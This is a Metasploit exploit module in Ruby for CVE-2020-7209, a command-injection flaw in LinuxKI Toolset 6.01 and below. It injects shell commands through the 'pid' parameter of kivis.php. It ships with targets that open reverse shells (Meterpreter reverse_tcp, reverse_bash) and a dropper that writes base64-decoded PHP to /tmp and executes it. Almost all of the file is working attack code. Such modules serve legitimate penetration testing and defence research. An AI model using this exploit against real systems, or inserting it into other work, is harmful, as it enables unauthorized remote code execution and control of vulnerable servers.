##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'LinuxKI Toolset 6.01 Remote Command Execution',
        'Description' => %q{
          This module exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution.
          The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Cody Winkler', # discovery and poc
          'numan türle' # msf exploit
        ],
        'References' => [
          ['EDB', '48483'],
          ['CVE', '2020-7209'],
          ['PACKETSTORM', '157739'],
          ['URL', 'https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78']
        ],
        'Privileged' => false,
        'Platform' => ['php', 'unix', 'linux'],
        'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Automatic (PHP In-Memory)',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Type' => :php_memory,
              'Payload' => { 'BadChars' => "'" },
              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Automatic (PHP Dropper)',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Type' => :php_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Automatic (Unix In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ],
          [
            'Automatic (Linux Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DisclosureDate' => '2020-05-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The path to the web application', '/']),
    ])
    register_advanced_options([
      OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
    ])
  end

  def check
    findstr = rand_str
    res = execute_command("echo '#{findstr}'")
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if (res.code == 404) || (res.code == 403)
    if (res.code == 200) && res.body.include?(findstr)
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'linuxki/experimental/vis/', 'kivis.php'),
      'vars_get' => {
        'type' => 'kitrace',
        'pid' => "1;#{cmd};"
      }
    })
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end

  def exploit
    print_status("Executing #{target.name} target")

    print_status('Sending payload...')

    case target['Type']
    when :php_memory
      execute_command("php -r '#{payload.encoded}'")
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(linemax: 1_500)
    when :php_dropper
      dropper
    end
  end

  def dropper
    php_file = "#{rand_str}.php"
    tmp_file = Pathname.new(
      "#{datastore['WritableDir']}/#{php_file}"
    ).cleanpath

    dropper = get_write_exec_payload(
      writable_path: datastore['WritableDir'],
      unlink_self: true # Worth a shot
    )

    dropper = Rex::Text.encode_base64(dropper)

    register_file_for_cleanup(tmp_file)

    execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
    execute_command("php #{tmp_file}")
  end

  def rand_str
    Rex::Text.rand_text_alphanumeric(8..42)
  end
end
